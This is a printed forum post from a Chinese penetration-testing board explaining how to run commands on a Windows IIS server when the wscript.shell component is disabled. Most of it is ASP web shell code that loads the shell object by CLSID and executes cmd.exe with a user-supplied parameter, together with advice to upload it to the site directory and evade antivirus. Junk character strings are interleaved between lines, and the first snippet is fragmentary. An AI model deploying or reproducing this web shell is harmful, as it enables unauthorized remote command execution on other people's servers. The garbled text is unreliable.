中国网络渗透测试联盟
标题:
没有wscript.shell组件提权方法
[打印本页]
作者:
admin
时间:
2012-10-21 09:08
标题:
没有wscript.shell组件提权方法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
. \# \; y$ r) s! }/ N
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
' @6 _3 ~' V5 E8 i! ^' I' E
要想让运行命令可以试试这种方法,成功率为五五之数。
$ k# Z7 @; x3 `& H: [7 S& O
把下面代码复制:
! z. c' o M0 b6 T& I. j9 x
<%
4 g! @$ L! v, U4 A( M9 E* b& z3 C
end if
5 z' r9 q }" s: Z5 \: U/ N
response.write(”")
: P+ k( u3 g. g0 M
On Error Resume
2 x# N! a L0 k. M M4 S
Next
* F$ k- ]0 P) o8 u3 m W r7 l
response.write oScriptlhn.exec(”cmd.exe /c” &
) r3 g/ J1 {1 y; n4 b8 h; A9 g8 k
request(”c”)).stdout.readall
/ z) h& a$ t# Z/ r
response.write(”")
5 l' g7 E; d, l& r: Q# [/ G5 o
response.write(”")
* O) z" V3 x9 j6 Q
response.write(”
* V$ m3 m$ ^ S" T7 Q& r
“)
2 s& B. P( h, n4 [; E; ?9 a
response.write(”")
- P9 t8 k- }) j2 Q! C/ m
%>
% b- p% r* ^8 ]# r0 q- n
保存为一个asp文件,然后传到网站目录上去
& D6 x7 r( C0 I7 J( K3 }, l
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
- p: V9 [9 s% v. M! u
我用此成功运行过cacls命令。
: s* m# [' M+ R1 f4 j: \! _2 ?- O
第二那就是运行时出错,可能限制某些代码执行
9 Q$ j, w8 y/ q; O8 F! {
无wscript.shell组件提权又一个方法
& o0 m+ G/ q7 |$ A& p! L* O. y% y
<object runat=server id=oScriptlhn scope=page
% c- G2 X: A7 H
2 |) K6 [9 _, _
classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
3 S- |7 Q0 N9 R/ b2 }3 \, p4 S
<%if err then%>
, K4 J V* Z5 Q: S: E# A+ W
<object runat=server id=oScriptlhn scope=page
+ ~- H) }- _9 p& L E( d( E q
% D9 j. Z- b" n# T5 E$ j! \* x x
classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
) d7 K& Y$ i- t# u( W5 ?1 h/ p
<%
0 ]; d/ l( @' c( Y+ H1 I
end if
, `3 h7 q+ e" n$ ~
response.write(”<textarea readonly cols=80
# t( _& q/ d! A5 O, a
+ c& J" ?/ o: w# b$ m7 o6 p
rows=20>”)
" c1 S% f* q& X- X
On Error Resume Next
& Y. ?# l0 r- G7 N0 `) `2 s
response.write
: c. R( \5 Y: _, P
0 R! X, T7 l% B5 N6 \8 w1 T
oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
: Z9 h# ?$ r" g
response.write(”</textarea>”)
. r" q8 L) Q& N% p: M) v! H
response.write(”<form
3 O, o7 ?% `$ B; e. G
: T/ {" |9 C4 o! I" d' l( V
method=’post’>”)
- D: G% { l- l% j: `4 S( t6 y: I
response.write(”<input type=text name=’c'
% i" O9 A4 ~' K4 q. l' X
, u9 b% ]% _' B) J- ~' l3 Y
size=60><br>”)
( u3 V" l: z% e) U5 W) C
response.write(”<input type=submit
. G$ ^( B7 u& b2 z( M4 e
" W* S/ [/ U2 S- Z8 O% \) w
value=’执行’></form>”)
: t9 p- X/ `5 o. Y
%>
! @* R- Q$ z8 V/ i, _
保存为ASP,此代码可能被杀,请注意免杀。
( y3 Q2 r6 t8 {6 C2 o0 I2 M
原理:有些人把wscript.shell改名了,但是clsid没有变,所以调用这个clsid就等于调用ws组建
V" \& O: @/ R+ x& x
复制代码
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2